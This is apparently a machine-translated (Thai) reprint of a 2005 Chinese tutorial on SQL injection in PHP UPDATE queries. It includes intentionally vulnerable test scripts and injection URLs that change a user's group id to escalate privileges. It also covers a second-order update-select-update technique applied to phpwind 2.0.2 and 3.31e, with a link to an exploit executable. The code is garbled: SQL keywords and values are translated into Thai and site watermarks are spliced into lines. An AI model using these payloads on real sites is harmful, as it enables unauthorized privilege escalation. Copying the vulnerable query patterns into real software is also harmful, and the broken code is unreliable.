ผู้เขียนบทความนี้: SuperHei
ลักษณะของบทความ: วันที่วางจำหน่ายดั้งเดิม: 14-08-2548
1. ดาวน์โหลดการจัดการเครือข่ายสภาพแวดล้อมการทดสอบ dl.bitscn.com
ระบบปฏิบัติการ: Windowsxp sp2
php: php4.3.10
มายเอสคิวแอล 4.1.9
อาปาเช่ 1.3.33
2. ทดสอบโครงสร้างฐานข้อมูล
--database: `test`
-
-------------------------------------------------- -------------------------------------------------- --------
--
-- โครงสร้างตาราง `ข้อมูลผู้ใช้`
--เครือข่ายการจัดการเครือข่าย www_bitscn_com
สร้างตาราง `userinfo` (
`groudid` varchar (12) ไม่เป็นค่าเริ่มต้น '1'
`ผู้ใช้` varchar (12) ไม่เป็นค่าเริ่มต้น 'heige'
`pass` varchar (122) ไม่ใช่ค่าเริ่มต้น NULL '123456'
) TYPE=MyISAM;ตัวจัดการเครือข่าย อยู่ที่หน้าแรก u.bitsCN.com
--
-- ส่งออกข้อมูลในตาราง `userinfo`
-
แทรกลงในค่า `ข้อมูลผู้ใช้` ('2', 'heige', '123456')
3. โหมดทดสอบ
1. ตัวแปรไม่มี '' หรือ "" China Network Management Alliance bitsCN.com
<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "รูท";
$dbpassword = "";
$dbname = "ทดสอบ";
mysql_connect($servername,$dbusername,$dbpassword) or die ("การเชื่อมต่อฐานข้อมูลล้มเหลว");China Network Management Forum bbs.bitsCN.com
$sql = "อัปเดต userinfo set pass=$p โดยที่ user='heige'";/ / <--$P ไม่ได้ใช้เครื่องหมายคำพูดเดี่ยว
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);ฟอรัมการจัดการเครือข่ายของจีน bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>";
?>
สคริปต์จะแก้ไขเฉพาะการส่งผ่านของ user='heige' หาก groupid แสดงถึงระดับสิทธิ์ของผู้ใช้ จุดประสงค์ของเราคือแก้ไข groupid โดยการสร้าง $p จากนั้นเราจะส่ง:
http://127.0.0.1/test1.php?p=123456,groudid=1
แบบสอบถามใน mysql:
mysql> เลือก * จาก userinfo;
-
|. grudid |. ผู้ใช้ |
-
|.1 |. ไฮจ์ |
-
1 แถวในชุด (0.01 วินาที)
ความไม่พอใจของผู้ใช้เปลี่ยนจาก 2 เป็น 1 :)
ดังนั้นเราจึงสามารถฉีดโดยไม่ต้อง '' หรือ "" การอัปเดตได้สำเร็จ นี่คือโหมดของเรา 1
2. ตัวแปรที่มี '' หรือ ""
<?php
//test2.php
$servername = "localhost";
$dbusername = "รูท";
$dbpassword = "";
$dbname = "ทดสอบ";
mysql_connect($servername,$dbusername,$dbpassword) or die ("การเชื่อมต่อฐานข้อมูลล้มเหลว");
$sql = "update userinfo set pass='$p' โดยที่ user='heige'";//<--$P ใช้เครื่องหมายคำพูดเดี่ยว China Network Management Forum bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);ฟอรัมการจัดการเครือข่าย bbs_bitsCN_com
echo "<p>SQL Query:$sql<p>";
-
เพื่อปิด 'เราสร้าง $p ควรเป็น 123456',groudid='2Submit: China Network Management Forum bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = ในกรณีของ on 'กลายเป็น' และคำสั่งที่ส่งจะกลายเป็น:
แบบสอบถาม SQL: อัปเดตชุดข้อมูลผู้ใช้ pass='123456',groudid='1' โดยที่ user='heige'
แบบสอบถาม mysql:
mysql> เลือก * จากข้อมูลผู้ใช้;
-
|. grudid |. ผู้ใช้ |
-
|.2 |. heige |
-
1 แถวในชุด (0.00 วินาที) การจัดการเครือข่าย bitscn_com
groudid ไม่ได้รับการแก้ไข แล้วจะเกิดอะไรขึ้นถ้าตัวแปรไม่ถูกฉีดเลยเมื่อเป็น '' หรือ ""? มาดูที่โหมด 2 แทน:
<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "รูท";
$dbpassword = "";
$dbname = "ทดสอบ";
mysql_connect($servername,$dbusername,$dbpassword) or die ("การเชื่อมต่อฐานข้อมูลล้มเหลว");
$sql = "update userinfo set pass='$p' โดยที่ user='heige'";//<--$P ใช้ single quotes network managerujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //ข้อมูลของ $p ถูกเขียนลงฐานข้อมูล
$sql= "เลือกพาสจาก userinfo โดยที่ user='heige'";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //ส่งออกแบบสอบถามผ่านไปยัง $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' โดยที่ user='heige' ";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //อัพเดต $userinfo[0] อีกครั้ง bitsCN.com
?>
มาทดสอบและส่งไปที่: network management bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
กลับไปที่แบบสอบถาม mysql: ฟอรัมการจัดการเครือข่าย bbs_bitsCN_com
mysql> เลือก * จาก userinfo;
-
|. grudid |. ผู้ใช้ |
-
|.1 |. ไฮจ์ |
-
1 แถวในชุด (0.00 วินาที)
ฮ่าฮ่า~~ ฉีดและแก้ไข grudid เป็น 1 สำเร็จ นี่คือโหมดของเรา 2 คำอธิบายโดยย่อมีดังนี้:
อัปเดต --> เลือก --> อัปเดต
4. โหมดจริง
โหมด 1:
โหมดที่ขาดหายไป 2:
การวิเคราะห์
ช่องโหว่การยกระดับสิทธิ์ของ phpwind 2.0.2 และ 3.31e
อัปเดต (ตัวแปรการฉีด profile.php คือ $proicon คำสั่งอัปเดตคือ icon='$userdb[icon]')
เลือก (jop.php)
updtate (jop.php) ฟอรัมการจัดการเครือข่าย bbs_bitsCN_com
ประโยชน์: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. การรับทราบ
ขอขอบคุณเป็นพิเศษสำหรับเพื่อนๆ เช่น saiy สำหรับการสนทนาและความช่วยเหลือ ขอบคุณ!!